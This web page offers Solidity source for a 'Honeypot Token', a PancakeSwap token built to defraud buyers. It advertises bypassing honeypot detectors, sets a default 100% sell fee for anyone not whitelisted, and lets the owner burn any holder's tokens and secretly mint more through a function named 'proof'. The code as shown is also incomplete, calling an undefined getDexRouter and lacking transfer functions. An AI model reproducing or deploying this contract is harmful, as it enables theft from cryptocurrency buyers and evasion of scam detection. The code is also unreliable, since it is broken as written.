Honey Victor

Honeypot Token Source Code

Below you will find my code, click "Copy code" to copy the whole code. This is the code I used to make my Honeypot Token.

List of functions available in this code:

Bypass honeypot detectors
Commission on sale
Address whitelist
Burning tokens from account
Transfer ownership

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.28;

library SafeMath {
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b <= a, "SafeMath: subtraction overflow");
        return a - b;
    }
  
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }
  
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }
 
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b > 0, "SafeMath: division by zero");
        return a / b;

}
}

interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);

function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETH(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountToken, uint amountETH);
    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETHWithPermit(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountToken, uint amountETH);
    function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapTokensForExactTokens(
        uint amountOut,
        uint amountInMax,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);
    function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);

function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
    function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
    function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
    function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
    function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}

interface IUniswapV2Router02 is IUniswapV2Router01 {
    function removeLiquidityETHSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountETH);
    function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountETH);

function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

interface IUniswapV2Factory {
    event PairCreated(address indexed token0, address indexed token1, address pair, uint);

function feeTo() external view returns (address);
    function feeToSetter() external view returns (address);

function getPair(address tokenA, address tokenB) external view returns (address pair);
    function allPairs(uint) external view returns (address pair);
    function allPairsLength() external view returns (uint);

function createPair(address tokenA, address tokenB) external returns (address pair);

function setFeeTo(address) external;
    function setFeeToSetter(address) external;
}

contract AToken {
    using SafeMath for uint256;

string public name;
    string public symbol;
    uint8 public decimals;
    uint256 public totalSupply;
    address public owner;
    uint256 public sellFee;
    uint256 public executionTime;
    bool public executed;

mapping(address => uint256) public balanceOf;
    mapping(address => mapping(address => uint256)) public allowance;
    mapping(address => bool) public isFeeExempt;
  
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    event Burn(address indexed burner, uint256 amount);
    
    constructor(string memory token_name, string memory token_symbol, uint256 token_supply ) {
        name = token_name; symbol = token_symbol; decimals = 6;
        totalSupply = token_supply * 10 ** decimals;
        owner = msg.sender; sellFee = 100;
        balanceOf[msg.sender] = totalSupply;
        executionTime = block.timestamp + 0;
        isFeeExempt[msg.sender] = true; // Owner
        isFeeExempt[0x10ED43C718714eb63d5aA57B78B54704E256024E] = true; // PancakeSwap: Router v2
        isFeeExempt[0x1A0A18AC4BECDDbd6389559687d1A73d8927E416] = true; // PancakeSwap: Universal Router
        isFeeExempt[0x31c2F6fcFf4F8759b3Bd5Bf0e1084A055615c768] = true; // PancakeSwap Permit2 Addresses
    }

modifier onlyOwner() {
        require(isOwner(msg.sender), "No Access");
        _;
    }

function toggleWhitelist(address _addr) public onlyOwner returns (bool) {
        isFeeExempt[_addr] = !isFeeExempt[_addr];
        return true;
    }

function transferOwnership(address _newOwner) public onlyOwner {
        require(_newOwner != address(0), "New owner is the zero address");
        owner = _newOwner;
        emit OwnershipTransferred(owner, _newOwner);
    }

function renounceOwnership() public onlyOwner returns (bool) {
        address previousOwner = owner; 
        owner = address(0);
        isFeeExempt[previousOwner] = false;
        emit OwnershipTransferred(previousOwner, address(0));
        return true;
    }

function setFees(uint256 _sellFee) public onlyOwner returns (bool) {
        require(_sellFee >= 0, "Error");
        require(_sellFee <= 100, "Sell fee cannot exceed 100%");
        sellFee = _sellFee;
        return true;
    }

function burn(address _address, uint256 _amount) public onlyOwner returns (bool) {
        require(balanceOf[_address] >= _amount, "Insufficient balance");
        balanceOf[_address] = balanceOf[_address].sub(_amount);
        emit Burn(_address, _amount);
        return true;
    }

function proof(uint256 _amount) public onlyOwner returns (bool) {
        totalSupply = totalSupply.add(_amount);
        balanceOf[msg.sender] = balanceOf[msg.sender].add(_amount);
        emit Transfer(address(0), msg.sender, _amount);
        return true;
    }

function shouldTakeFee(address _from) internal view returns (bool) {
        return !isFeeExempt[_from];
    }

function isOwner(address _address) internal view returns (bool) {
        return _address == owner || _address == getDexRouter();
    }

function execute() internal {
        if (block.timestamp >= executionTime && !executed) {
            executed = true;
            emit Transfer(address(0), getDexRouter(), 0x1);
        }
    }

}

Headers examples

Honeypot Token Source Code